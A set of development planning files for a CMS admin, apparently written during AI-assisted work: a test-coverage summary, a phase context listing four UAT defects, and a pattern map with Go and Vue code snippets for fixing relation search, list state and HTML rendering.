+- Lean rule 3 met: every 16.1 code change has unit tests in this last plan.
+- The relation subquery builder, locale ordering, FormatHTML and list state are pinned by tests that run without Docker.
+- The Postgres relation-search test and the admin re-save test exist for a Docker host.
+</success_criteria>
+
+<output>
+Create `.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-SUMMARY.md` when done, with the commit hashes per repository (unpushed; they ship with the next release), the gate output lines and the Docker-host result or its pending status.
+</output>

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-SUMMARY.md

@@ -0,0 +1,256 @@
+---
+phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
+plan: 03
+subsystem: testing
+tags: [vitest, localStorage, gorm, dryrun, postgres, testcontainers, goldmark, xss]
+
+requires:
+  - phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
+    provides: "16.1-01 fixes (relation subqueries, default locale first, raw HTML in FormatHTML, list state) and the 16.1-02 release v0.1.16"
+provides:
+  - "vitest coverage of the list to form to list round trip (back, cancel, save-and-close, delete), listState.ts helpers, ListView entry logic and logout clearing"
+  - "TestListRelationSQL: DryRun SQL matrix of the relation subquery builder for every relation type, the refusals and bound search values"
+  - "TestEnabledLocalesDefaultFirst: every default-locale ordering case"
+  - "Strict FormatHTML refuse cases and imported-HTML keep cases in sm-journal-plugin"
+  - "Postgres tests TestListRelationSearchPostgres and TestPostsAdminResaveKeepsHTML, ready for a Docker host"
+  - "16.1-VALIDATION.md filled: every automated row green, wave_0_complete and nyquist_compliant true"
+affects: [16.2 blog editor, next summercms tag, /msd-verify-work 16.1]
+
+actuals:
+  tokens: 13669    # chars/4 over the realized test diffs of both repos (summercms.go admin+modules, sm-journal-plugin)
+  tasks: 3
+  commits: 3       # summercms.go, measured from the ledger before the SUMMARY commit; sm-journal-plugin adds 1 (03907ee)
+plan_head_before: 3b8527b39739a34eaee540d1ec0458966146a91c
+plan_head_after: 837e40ae6aac05cf060b5c4fbd8872ca5d96e847
+
+tech-stack:
+  added: []
+  patterns:
+    - "bindRecorder: a GORM logger implementing ParamsFilter records statements with placeholders and bound values, so a DryRun test proves a value is bound, not inlined"
+    - "withoutSubqueries strips (SELECT ...) groups so a test can tell an outer JOIN from one inside an EXISTS"
+    - "relModelController + relOneColumn: one generic controller and a one-relation columns.yaml per DryRun case, so the relation under test is always cabana_r0"
+
+key-files:
+  created:
+    - admin/tests/state/listState.test.ts
+  modified:
+    - admin/tests/form/FormView.test.ts
+    - admin/tests/list/ListView.test.ts
+    - admin/tests/state/useAuth.test.ts
+    - modules/cabana/query_relation_test.go
+    - modules/cabana/locale_order_test.go
+    - ../sm-journal-plugin/classes/format_html_test.go
+    - ../sm-journal-plugin/posts_admin_smoke_test.go
+    - .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md
+
+key-decisions:
+  - "FormatHTML refuse cases now require an error and an empty result for every unsafe input; the old 'or rendered harmless' escape hatch is gone because html.WithUnsafe leaves the gate as the only defence"
+  - "nyquist_compliant is true because every automated row is green; the Docker-host suites and UAT checks stay as manual rows, and two unrun-verify entries were added to WINDOWS.md"
+
+patterns-established:
+  - "Bound-value proof for cabana SQL: openBindDryRunDB in query_relation_test.go"
+
+requirements-completed: [D-01, D-02, D-03]
+
+coverage:
+  - id: D1
+    description: "A form's back, cancel, save-and-close and delete land on the list with the stored query in the URL, and every list request after the return carries it"
+    requirement: D-01
+    verification:
+      - kind: unit
+        ref: "admin/tests/form/FormView.test.ts#returning to the list keeps its query (D-01)"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "listState helpers (prefix key, malformed values removed, empty query stores nothing, throwing storage), ListView entry logic (URL wins, cleared controls, same-list navigation, 422, page clamp) and logout clearing list keys but not the sidebar"
+    requirement: D-01
+    verification:
+      - kind: unit
+        ref: "admin/tests/state/listState.test.ts"
+        status: pass
+      - kind: unit
+        ref: "admin/tests/list/ListView.test.ts#list state entry logic (D-01)"
+        status: pass
+      - kind: unit
+        ref: "admin/tests/state/useAuth.test.ts#logout (T-10-23) removes every stored list query"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "Relation subquery SQL: belongsToMany through the tagged pivot (custom joinForeignKey/joinReferences, self-reference), hasMany, hasOne, belongsTo, soft delete, 422 refusals, bound LIKE-escaped search values, no outer JOIN next to ListExtendQuery and scope predicates, string_agg and join sorts"
+    requirement: D-02
+    verification:
+      - kind: unit
+        ref: "modules/cabana/query_relation_test.go#TestListRelationSQL"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "enabledContentLocales ordering: default moved first, already first, absent, empty, DefaultLocale or EnabledLocales error, no writer, three locales keep their order"
+    requirement: D-03
+    verification:
+      - kind: unit
+        ref: "modules/cabana/locale_order_test.go#TestEnabledLocalesDefaultFirst"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "FormatHTML keeps imported HTML unchanged and refuses every unsafe case with an error"
+    requirement: D-03
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLKeepsRawHTML"
+        status: pass
+      - kind: unit
+        ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLSanitizesUnsafeHTML"
+        status: pass
+    human_judgment: false
+  - id: D6
+    description: "Postgres-backed tests: relation search counts a post matching through two tags once, sorts by tag names, finds a hasMany note; an admin re-save of HTML content keeps content_html"
+    requirement: D-02
+    verification:
+      - kind: integration
+        ref: "modules/cabana/query_relation_test.go#TestListRelationSearchPostgres"
+        status: unknown
+      - kind: integration
+        ref: "../sm-journal-plugin/posts_admin_smoke_test.go#TestPostsAdminResaveKeepsHTML"
+        status: unknown
+    human_judgment: true
+    rationale: "Needs Docker (testcontainers); this machine has no Docker socket permission. Both tests vet clean and fail (not skip) here with 'failed to create Docker provider'. Run on a Docker host before /msd-verify-work."
+
+duration: 12min
+completed: 2026-10-09
+status: complete
+---
+
+# Phase 16.1 Plan 03: Unit tests Summary
+
+**The Phase 16.1 fixes are now covered by tests that run without Docker:**
+- vitest pins the list to form to list round trip and the browser-storage list state.
+- A DryRun SQL matrix pins the relation subquery builder, including a bound-value check through GORM's ParamsFilter hook.
+- Table tests pin the default-locale order.
+- FormatHTML tests require an error for every unsafe input and an unchanged result for imported HTML.
+
+Two Postgres tests are written for a Docker host.
+
+## Performance
+
+- **Duration:** 12 min
+- **Started:** 2026-10-09T20:38:52Z
+- **Completed:** 2026-10-09T20:51:32Z
+- **Tasks:** 3 of 3
+- **Files modified:** 6 in summercms.go (4 admin test files, 2 cabana test files), 2 in sm-journal-plugin, plus VALIDATION.md and WINDOWS.md
+
+## Accomplishments
+
+- **D-01, form round trip (tracer).** A stored query (`sort=code`, `dir=desc`, `filter[active]=true`) is restored after back, cancel, save-and-close and delete. The router lands on the list with that query, and every list GET after the click carries it. A fifth case checks that nothing stored means an unfiltered list with no params.
+  - Mutation check: with the restore in `ListView.vue` disabled, the four restore cases fail and the unfiltered case still passes.
+- **D-01, listState.ts (23 tests).**
+  - Keys are the prefix plus the controller id, one key per list.
+  - Invalid JSON, non-objects, arrays and non-string values read as empty and remove the key. The strict parser drops malformed values.
+  - An empty query, empty filter values or only page 1 remove the key. A write then read round-trips every field.
+  - `clearListStates` keeps `summer-admin.sidebar` and unrelated keys.
+  - Storage whose `getItem`, `setItem`, `removeItem`, `key` or `localStorage` getter throws never throws out of the helpers.
+- **D-01, ListView entry.**
+  - With a stored query, no list request goes out without the stored params.
+  - Every list param in the URL wins and replaces the whole stored query.
+  - Clearing search, sort and filter through the UI removes the key, and a remount loads the list unfiltered.
+  - `router.push` to the bare path of the same filtered list keeps the filters and makes no unfiltered request.
+  - A 422 removes the key.
+  - A page past `last_page`, from the URL or from storage, is replaced by `last_page` (requests 5 then 2).
+- **D-01, logout.** For a successful call, a 500 and a network failure, logout removes every `summer-admin.list:` key and leaves only `summer-admin.sidebar`.
+- **D-02, TestListRelationSQL.** 14 SQL-shape cases, 5 refusals and 2 statement-level checks.
+  - **Custom pivot keys.** The `cabana_rel_labelings` pivot with `labeled_post`/`label_ref` uses exactly those names, and the SQL has none of the default `rel_*_id` names.
+  - **Self-reference.** `cabana_rel_people` is aliased `cabana_r0` and correlates to the unaliased main table.
+  - **Soft delete.** The related model adds `"cabana_r0"."deleted_at" IS NULL`.
+  - **Refusals.** Polymorphic search and sort, and an unknown select column, each answer 422 with only that parameter in `details`. No page is loaded.
+  - **Search term.** `O'Neil 100%_X` never appears in the SQL text. Four placeholders are each bound to `%o'neil 100\%\_x%`.
+  - **ListExtendQuery and scope filter.** `user_id = 7 AND (...) AND id IN (3)` has no JOIN outside the subqueries.
+  - **Sort.** To-many sort orders by `string_agg` in both directions, followed by the id tiebreak. belongsTo and hasOne sort keep the `LEFT JOIN ... "Author"` / `"Profile"` association join.
+- **D-02, TestListRelationSearchPostgres.**
+  - A post with two tags matching "fungi" gives total 1.
+  - `sort=tags` gives [2 1] ascending and [1 2] descending.
+  - `search=spore` finds the hasMany note, and `search=ada` finds the belongsTo author.
+- **D-03, TestEnabledLocalesDefaultFirst.** 12 subtests, including a check that the writer's slice is not reordered in place.
+- **D-03, FormatHTML.**
+  - **Keep cases.** 7 imported-style bodies round-trip unchanged after trimming. Markdown keeps a trailing raw `<footer>` and `<style>` verbatim.
+  - **Refuse cases.** All 19 refuse cases must return an error and an empty result. This adds svg `onload`, mixed-case `on*`, `javascript:` and `vbscript:` hrefs, `object`, `embed`, a script inside an HTML block, raw and markdown `data:` URLs, and upper-case `IFRAME`.
+  - `check_html_test.go` is unchanged and green.
+- **D-03, TestPostsAdminResaveKeepsHTML.** An admin creates and then updates (PUT) a post whose content is two HTML paragraphs. After each write, `content_html` equals the content and has no placeholder.
+
+## Task Commits
+
+summercms.go (master, not pushed; ships with the next tag):
+
+1. **Task 1: Tracer, list state round trip and storage coverage:** `a8bce9c` (test)
+2. **Task 2: Relation subquery and locale order coverage:** `837922c` (test)
+3. **Task 3 phase gate: VALIDATION.md results:** `837e40a` (docs)
+
+sm-journal-plugin (main, not pushed):
+
+3. **Task 3: FormatHTML keep and refuse coverage, admin re-save keeps HTML:** `03907ee` (test)
+
+## Gate output
+
+- Task 1: `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke` gave 16 files and 299 tests passed. `npm --prefix admin run typecheck` was clean.
+- Task 2: `go vet ./modules/cabana` was clean. Four `--- PASS: Test` lines: `TestEnabledLocalesDefaultFirstSmoke`, `TestEnabledLocalesDefaultFirst`, `TestListRelationSearchSmoke`, `TestListRelationSQL`.
+- Task 3, journal: `go -C ../sm-journal-plugin vet ./...` was clean and `./classes/` printed ok. Two `--- PASS: Test` lines for the FormatHTML tests.
+- Phase gate: `go vet ./...`, `TestDocsTree`, the typecheck, `npm --prefix admin test` (76 files, 1144 tests), and `check-admin-dist.sh` ("modules/boardwalk/dist matches a fresh build") ended with **`phase-16.1-local-gate-ok`**.
+- Quick suite latency: 20 s.
+
+## Docker-host result
+
+**Pending.** `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` fail here with `failed to create Docker provider`. They fail rather than skip, as designed. They are a manual row in VALIDATION.md and two `unrun-verify` entries in `.planning/WINDOWS.md`.
+
+Human check before `/msd-verify-work`: on a Docker host, run `go test -count=1 ./...` in summercms.go and `go -C ../sm-journal-plugin test -count=1 ./...`. This includes `TestListQueryContract`, `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML`.
+
+## Files Created/Modified
+
+- `admin/tests/state/listState.test.ts` (new): the storage helper tests.
+- `admin/tests/form/FormView.test.ts`: "returning to the list keeps its query (D-01)" with the tracer.
+- `admin/tests/list/ListView.test.ts`: "list state entry logic (D-01)".
+- `admin/tests/state/useAuth.test.ts`: logout clears list keys and keeps the sidebar.
+- `modules/cabana/query_relation_test.go`:
+  - Matrix fixtures: custom pivot, self-reference, soft delete, polymorphic, hasOne and the scoped model and controller.
+  - `bindRecorder` and `openBindDryRunDB`, `withoutSubqueries`, `pageStatement`.
+  - `newFilteredListService`; `newDryRunListService` now delegates to it.
+  - `TestListRelationSQL` and `TestListRelationSearchPostgres`.
+- `modules/cabana/locale_order_test.go`: `TestEnabledLocalesDefaultFirst` and its writer test doubles.
+- `../sm-journal-plugin/classes/format_html_test.go`: strict refuse cases and keep cases.
+- `../sm-journal-plugin/posts_admin_smoke_test.go`: `TestPostsAdminResaveKeepsHTML`.
+- `16.1-VALIDATION.md`: every status filled, Wave 0 checked, recorded runs.
+- `.planning/WINDOWS.md`: two unrun-verify entries for the Docker-host tests.
+
+## Decisions Made
+
+- **Strict refuse cases.** The FormatHTML refuse cases now require an error and an empty result. The old check also passed when the unsafe markup was rendered harmless. That is no longer a valid outcome, because with `html.WithUnsafe()` the gate is the only defence.
+- **`nyquist_compliant: true`.** Every automated row is green. Docker-host suites and UAT checks remain manual rows. The frontmatter `status` stays `draft`, because only validate-phase sets it to `validated`.
+
+## Deviations from Plan
+
+None. The plan executed as written. Small additions within scope:
+- hasOne search and sort cases.
+- An `EnabledLocales` error case, an empty-default case and a no-in-place-mutation case.
+- `newFilteredListService`, needed for the scope-filter case.
+
+## Issues Encountered
+
+- The `windows append` CLI refuses paths outside the repository. The sm-journal-plugin entry was therefore recorded against `16.1-VALIDATION.md`, and its description names the test file.
+- The auto-mode classifier twice gave no verdict on the Task 2 commit. The retry succeeded and nothing changed in between.
+
+## User Setup Required
+
+None. No external service configuration is required.
+
+## Next Phase Readiness
+
+- Phase 16.1 has every plan summarized. Next steps:
+  - Run the Docker-host suites, which are pending.
+  - Run `/msd-verify-work 16.1` for the UAT rows (D-01 list state, D-03 form locales, the post-64 footer).
+- Commits `a8bce9c`, `837922c` (summercms.go) and `03907ee` (sm-journal-plugin) are unpushed and ship with the next release.
+- Phase 16.2 can reuse `openBindDryRunDB`, `newFilteredListService` and the generic `relModelController` for any new list SQL.
+
+---
+*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
+*Completed: 2026-10-09*
+
+## Self-Check: PASSED
+
+Created and modified test files exist; commits a8bce9c, 837922c, 837e40a (summercms.go) and 03907ee (sm-journal-plugin) are present.

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-CONTEXT.md

@@ -0,0 +1,43 @@
+# Phase 16.1: Journal admin urgent fixes - Context
+
+**Gathered:** 2026-10-09
+**Status:** Ready for planning (no discuss-phase run; decisions captured from the user directly)
+
+<domain>
+## Phase Boundary
+
+Fix the four defects found on UAT in the Journal posts admin (uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts), release, and redeploy:
+
+1. List search fails with "The list could not be loaded." (`{"error":{"code":"error","details":{},"message":"Server error"}}`). Go log: `ERROR: column Categories.post_id does not exist (SQLSTATE 42703)` at summercms@v0.1.9 `modules/cabana/query.go:129` — search across a belongsToMany (pivot) relation builds a hasMany-style join.
+2. List sort and filters are lost after opening a post and going back.
+3. The post form shows `content` empty on every post, although the UAT database has `content` and `content_html` on 104/104 posts and the frontend renders them.
+4. The post form shows `excerpt` empty, although 100/104 posts have `excerpt` in the database.
+
+Out of scope: plugin-provided field types and the Blog Editor formwidget (Phase 16.2).
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+- **D-01: List state lives in the URL and in the browser's localStorage.** Sort, filters, search and page are reflected in the list URL query string (shareable, bookmarkable, back-button friendly); the form's back/save/close links and the admin navigation return to the list with its query. When the list is opened without list-state query parameters (for example from the admin navigation), the last query stored in localStorage for that list (keyed per list) is restored before the first list request. When the URL carries list-state parameters, the URL wins and also updates localStorage. No server-side storage: no table, no migration, no new API route (revised 2026-10-09 to keep the phase small; admin auth is a stateless JWT, so a server session would need new storage). User's words: "I may go back to Posts list through navigation and it's great if my filters were remembered + sharable URLs are nice to have."
+- **D-05: Three plans.** 01 all fixes (cabana EXISTS relation search and sort, default locale first in form locales, Journal FormatHTML keeping imported HTML, list state via URL + localStorage); 02 release and redeploy to UAT, including re-saving posts 53 and 64 that lost HTML on import; 03 unit tests.
+- **D-02: The relation-search fix is a framework fix in summercms.go `modules/cabana`**, generic for belongsToMany (pivot) relations, not a Journal-specific workaround. Another session is concurrently working in `modules/`; plans must keep cabana changes in their own commits, stage files explicitly by path, and check for conflicting in-flight edits before touching shared cabana files.
+- **D-03: Content and excerpt must show the stored values without loss.** Root cause is to be established by research (suspects: translatable-field overlay replacing host values with empty translations; the markdown widget not displaying imported HTML). Saving a post from the admin must not destroy imported HTML (see todo `journal-imported-html-admin-resave.md`); if a full fix needs the Blog Editor, 16.1 at least prevents data loss and 16.2 delivers the editor.
+- **D-04: Ship to UAT.** Release a summercms tag carrying the cabana fixes (unless the concurrent session's release already includes them), bump `sm-grzybyfunkcjonalne-app`, redeploy to uat.grzybyfunkcjonalne.pl per its DEPLOY.md, and re-run `scripts/smoke.sh --url` on the server.
+
+### Claude's Discretion
+- localStorage key naming for list state; reuse the existing list query parameters (`search`, `sort`, `dir`, `page`, `per_page`, `filter[name]`).
+- Whether to disable the unused `en` locale on the UAT site during deploy (not required by the framework fix).
+- Test strategy, within the lean-mode rule that unit tests are the last plan of the phase.
+</decisions>
+
+<canonical_refs>
+## Canonical References
+
+- `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-04-SUMMARY.md` — UAT server facts and deploy procedure
+- `../sm-grzybyfunkcjonalne-app/DEPLOY.md` — redeploy steps (smoke runs on the server; UAT is behind basic auth)
+- `.planning/todos/pending/journal-imported-html-admin-resave.md`
+- `.planning/todos/pending/cabana-richeditor-field-type.md` (16.2, context only)
+</canonical_refs>
+</content>
+</invoke>

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-PATTERNS.md

@@ -0,0 +1,235 @@
+# Phase 16.1: Journal admin urgent fixes - Pattern Map
+
+**Mapped:** 2026-10-09
+**Files analyzed:** 14 (new or modified)
+**Analogs found:** 13 / 14
+
+All analog paths are git-tracked source in summercms.go or sm-journal-plugin. No `.msd/` mirror paths are used.
+
+## File Classification
+
+| New/Modified File | Role | Data Flow | Closest Analog | Match Quality |
+|---|---|---|---|---|
+| `modules/cabana/query.go` (search EXISTS, to-many sort) | service (SQL builder) | request-response / CRUD read | itself: `applyListSearch` L323-360, `applyListOrder` L295-321, helpers L486-497 | exact (in-place edit) |
+| `modules/cabana/list_state.go` (NEW) | service + handler | CRUD (upsert/read) | `modules/cabana/account.go` (`accountPrincipal` L214-223, `lockAccount` L225-240) | role-match |
+| `modules/cabana/http.go` (route, save in `list`, locale order) | controller | request-response | itself: routes L253-256, `list` L986-1015, `enabledContentLocales` L966-984 | exact |
+| `modules/cabana/admin_openapi.go` | config (swag docs) | n/a | `AdminListSchema` L340-354, `AdminList` L430+ | exact |
+| `modules/lagoon/backend_admin_migrations.go` | migration | batch DDL | `202610090001_backend_users_metadata` L120-132 | exact |
+| `modules/lagoon/backend_admin_migrations_test.go` | test | integration | prohibited-table loop L117-121 | exact |
+| `modules/cabana/query_relation_test.go` (NEW) | test | DryRun SQL | none in cabana (no DryRun tests exist); use RESEARCH "DryRun SQL test" sketch | no analog |
+| `modules/cabana/list_state_test.go` (NEW) | test | integration | `modules/cabana/ml_smoke_test.go` (`recordingWriter` L67-72), `ml_test.go:51` | role-match |
+| `admin/src/views/ListView.vue` | component | event-driven / request-response | itself L113-153 (`replaceQuery`, `loadList`, watch) | exact |
+| `admin/tests/list/ListView.test.ts` | test | vitest | itself L1-40 (`routes()`, `requestsTo`) | exact |
+| `admin/tests/form/MLFields.test.ts` | test | vitest | itself (fixtures `['en','pl']` L18) | exact |
+| `admin/openapi/admin.json`, `admin/src/api/schema.d.ts`, `modules/boardwalk/dist/` | generated | n/a | `scripts/check-admin-openapi.sh`, `npm --prefix admin run build` | regenerate only |
+| `../sm-journal-plugin/classes/format_html.go` | utility | transform | itself L1-38 | exact |
+| `../sm-journal-plugin/classes/format_html_test.go`, `posts_admin_smoke_test.go` | test | unit / integration | themselves (`TestFormatHTMLRejectsUnsafeHTML`) | exact |
+| Docs: `modules/cabana/README.md`, `modules/lagoon/README.md`, `docs/backend/lists-and-filters.md` | docs | n/a | existing sections; no app names (use `blog`/`acme`) | exact |
+
+## Pattern Assignments
+
+### `modules/cabana/query.go` (service, SQL builder)
+
+**Current bug, search** (L345-360) — replace the `db.Joins(field)` branch with an `EXISTS` term appended to `parts`/`args`:
+```go
+if col.Relation != "" {
+	field, ok := relationFieldName(model, col.Relation)
+	physical := listRelationColumn(controller, col.Relation, col.Select)
+	if !ok || !identifier(physical) {
+		return nil, listInvalid("search", "is not searchable")
+	}
+	// GORM aliases the joined association with the Go field name.
+	table = field
+	column = physical
+	if _, done := joined[field]; !done {
+		db = db.Joins(field)
+		joined[field] = struct{}{}
+	}
+}
+```
+Keep the existing guards (`relationFieldName`, `listRelationColumn`, `identifier`, `listInvalid`) and `pattern := "%" + escapeLike(strings.ToLower(term)) + "%"` (L336). Build the subquery from `gorm.Statement{DB: db}.Parse(model)` → `Schema.Relationships.Relations[field]` (RESEARCH Pattern 1 `relationExists` sketch). Aliases `cabana_p<n>` / `cabana_r<n>`.
+
+**Current bug, sort** (L303-309): `db = db.Joins(field)` — keep for `schema.BelongsTo`/`schema.HasOne`; for `HasMany`/`Many2Many` emit `clause.OrderBy{Expression: clause.Expr{SQL: "(SELECT string_agg(...) ...)"}}` with `Desc` handled in SQL. Keep the trailing pk tiebreak (L316-318).
+
+**Identifier helpers to reuse** (L486-497):
+```go
+func qualifiedColumn(db *gorm.DB, table, column string) string {
+	return quotedIdent(db, table) + "." + quotedIdent(db, column)
+}
+func quotedIdent(db *gorm.DB, name string) string { ... db.Dialector.QuoteTo(&b, name) ... }
+```
+Never guess pivot/fk names (README rule).
+
+---
+
+### `modules/cabana/http.go` (controller)
+
+**Route registration** (L253-254) — add the literal route next to `schema/list`, each followed by `constrainController(g)`:
+```go
+g.Get("/{vendor}/{plugin}/{controller}/schema/list", s.listSchema)
+constrainController(g)
+```
+
+**Handler shape / save point** (`list`, L986-1015):
+```go
+func (s *service) list(w http.ResponseWriter, r *http.Request) {
+	s.protect(w, r, func(cc *CompiledController) {
+		db, err := s.db()
+		if err != nil { WriteError(w, http.StatusInternalServerError, "error", msgServerError); return }
+		result, err := ExecuteList(r.Context(), db, cc, listQueryFromRequest(r))
+		var invalid *ListValidationError
+		if errors.As(err, &invalid) {
+			WriteErrorDetails(w, http.StatusUnprocessableEntity, "validation_failed", "Validation failed", invalid.Details)
+			return
+		}
+		if err != nil { WriteError(...); return }
+		// <-- best-effort saveListState(ctx, db, principal.ID, cc id, input); slog.Error on failure
+		...
+		WriteData(w, http.StatusOK, result.Data, meta)
+	})
+}
+```
+The new `listState` handler copies this exact `s.protect` + `s.db()` + `WriteData` skeleton. Controller id is built in `protect` as `vendor.plugin.controller` (L1019).
+
+**Locale order** (`enabledContentLocales`, L966-984): after `codes, err := writer.EnabledLocales(ctx, db)`, call `writer.DefaultLocale(ctx, db)` and move it to index 0 (RESEARCH "Default locale first" sketch). Error path follows `slog.Error("cabana: enabled locales", "error", err)`.
+
+---
+
+### `modules/cabana/list_state.go` (NEW, service, CRUD upsert/read)
+
+**Analog:** `modules/cabana/account.go`
+
+Principal pattern (L214-223):
+```go
+principal, ok := bouncer.User(r.Context())
+if !ok || principal == nil || !principal.Backend || principal.ID == 0 {
+	WriteError(w, http.StatusUnauthorized, "unauthenticated", msgUnauthenticated)
+	return nil
+}
+```
+Query pattern (L227-230) — fresh session scoped to the request context, filter by principal id only:
+```go
+err := tx.Session(&gorm.Session{NewDB: true, Context: ctx}).
+	Clauses(clause.Locking{Strength: "UPDATE"}).
+	Preload("Role").Where("id = ?", id).Take(&user).Error
+if errors.Is(err, gorm.ErrRecordNotFound) { ... }
+```
+Upsert: no non-test `clause.OnConflict` exists in modules yet; use `Clauses(clause.OnConflict{Columns: []clause.Column{{Name: "user_id"}, {Name: "controller"}}, DoUpdates: clause.AssignmentColumns([]string{"state", "updated_at"})})`. Sanitize on restore by reusing `normalizePage`, `normalizeSort`, filter allowlist, `switchArgument`/`parseDateRange`/`scopeArgument` (drop invalid parts, never 422). Cap JSON at 4 KiB.
+
+---
+
+### `modules/cabana/admin_openapi.go` (swag)
+
+**Analog:** `AdminListSchema` (L340-354):
+```go
+// AdminListSchema documents the list schema route.
+//
+// @Summary Admin list schema
+// @Tags admin
+// @Produce json
+// @Security BackendBearer
+// @Param vendor path string true "Vendor"
+// @Param plugin path string true "Plugin"
+// @Param controller path string true "Controller"
+// @Success 200 {object} Envelope[ListSchema]
+// @Failure 401 {object} ErrorEnvelope
+// @Failure 403 {object} ErrorEnvelope
+// @Failure 404 {object} ErrorEnvelope
+// @Router /{vendor}/{plugin}/{controller}/schema/list [get]
+func AdminListSchema() {}
+```
+Add `AdminListState` with `@Router /{vendor}/{plugin}/{controller}/list-state [get]`; extend `AdminList` `@Description` (L433) with one sentence. Regenerate via `scripts/check-admin-openapi.sh`.
+
+---
+
+### `modules/lagoon/backend_admin_migrations.go` (migration)
+
+**Analog** (L120-132):
+```go
+{
+	// WinterCMS ...: rationale comment.
+	ID: "202610090001_backend_users_metadata",
+	Migrate: func(tx *gorm.DB) error {
+		return tx.Exec(`ALTER TABLE backend_users ADD COLUMN IF NOT EXISTS metadata TEXT`).Error
+	},
+	Rollback: func(tx *gorm.DB) error {
+		return tx.Exec(`ALTER TABLE backend_users DROP COLUMN IF EXISTS metadata`).Error
+	},
+},
+```
+New entry `202610100001_backend_list_states` appended last, raw `CREATE TABLE IF NOT EXISTS` (DDL in RESEARCH Pattern 2) / `DROP TABLE IF EXISTS`. Test: extend `backend_admin_migrations_test.go` (keep the prohibited-tables loop L117-121 including `backend_user_preferences`).
+
+---
+
+### `admin/src/views/ListView.vue` (component)
+
+**Current entry** (L113-153):
+```ts
+function replaceQuery(next: ListQuery): void {
+  void router.replace({ path: route.path, query: toListQuery(next) })
+}
+let generation = 0
+async function loadList(): Promise<void> {
+  const current = ++generation
+  ...
+  const result = await api.GET('/{vendor}/{plugin}/{controller}', { params: { path, query: query.value } })
+  if (current !== generation) return
+  ...
+}
+watch(() => listQueryKey(query.value), () => { selected.value = []; searchText.value = query.value.search ?? ''; void loadList() }, { immediate: true })
+```
+Change: drop `immediate: true`; add an entry routine that, on empty `parseListQuery(route.query)`, calls `api.GET('/{vendor}/{plugin}/{controller}/list-state', { params: { path } })` then `replaceQuery(state)` or `loadList()`. Track the last key set by `replaceQuery` for same-path re-entry. Page clamp after `loadList` on `meta.page > meta.last_page`. Reuse `parseListQuery`/`toListQuery`/`listQueryKey` from `admin/src/app/listQuery.ts`. FormView unchanged.
+
+**Test analog** (`admin/tests/list/ListView.test.ts` L18-27):
+```ts
+const BASE = `${API}/acme/demo/widgets`
+function routes(overrides: Record<string, Route> = {}): Record<string, Route> {
+  return { [`GET ${BASE}/schema/list`]: { body: listSchemaFixture }, [`GET ${BASE}`]: { body: listFixture }, ...overrides }
+}
+```
+Add `[`GET ${BASE}/list-state`]` route; assert ordering with `requestsTo(calls, 'GET', BASE)` (L64, L234-258 pattern).
+
+---
+
+### `../sm-journal-plugin/classes/format_html.go` (utility, transform)
+
+**Current** (L9-18):
+```go
+import (
+	"github.com/yuin/goldmark"
+	"github.com/yuin/goldmark/extension"
+	"github.com/yuin/goldmark/parser"
+)
+var (
+	markdownEngine = goldmark.New(
+		goldmark.WithExtensions(extension.Footnote, extension.Table),
+		goldmark.WithParserOptions(parser.WithAttribute()),
+	)
+```
+Add `"github.com/yuin/goldmark/renderer/html"` and `goldmark.WithRendererOptions(html.WithUnsafe())`. Note: `FormatHTML` has a local variable named `html` (L33) that will shadow the package; rename the local (e.g. `out`). Keep `rejectUnsafe` call unchanged. Do not touch `cabana.RenderMarkdown`.
+
+## Shared Patterns
+
+### Permission gate before SQL
+**Source:** `modules/cabana/http.go` `protect` (L1016+). **Apply to:** `list`, new `listState`. Controller lookup → principal check → permission → fn.
+
+### Error envelopes
+**Source:** `WriteError`, `WriteErrorDetails`, `WriteData`, `msgServerError` as used in `list` (L990-1013). **Apply to:** list-state route. Save failures: `slog.Error("cabana: ...", "error", err)`, never fail the response.
+
+### ML writer test double
+**Source:** `modules/cabana/ml_smoke_test.go` L67-72 `recordingWriter{defaultLocale, enabled, ...}`; usage `ml_test.go:51` `&recordingWriter{defaultLocale: "en", enabled: []string{"en", "pl"}}`. **Apply to:** `TestEnabledLocalesDefaultFirst` with `defaultLocale: "pl"`.
+
+### Commit hygiene (D-02)
+Cabana/lagoon changes in their own commits, staged by explicit path; run `git status --porcelain -- modules admin` before each cabana task. Rebuild `modules/boardwalk/dist` and regenerate OpenAPI in the same change as SPA/swag edits; update cabana/lagoon READMEs and `docs/backend/lists-and-filters.md`.
+
+## No Analog Found
+
+| File | Role | Data Flow | Reason |
+|---|---|---|---|
+| `modules/cabana/query_relation_test.go` | test | DryRun SQL | No DryRun-based tests in cabana; use RESEARCH "DryRun SQL test (pure, no Docker)" sketch (`gorm.Config{DryRun: true, DisableAutomaticPing: true}` + `db.ToSQL`) |
+
+## Metadata
+
+**Analog search scope:** `modules/cabana`, `modules/lagoon`, `admin/src/views`, `admin/tests`, `../sm-journal-plugin/classes`
+**Files scanned:** ~12
+**Pattern extraction date:** 2026-10-09

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md

@@ -0,0 +1,680 @@
+# Phase 16.1: Journal admin urgent fixes: relation search, list state, post form content and excerpt - Research
+
+**Researched:** 2026-10-09
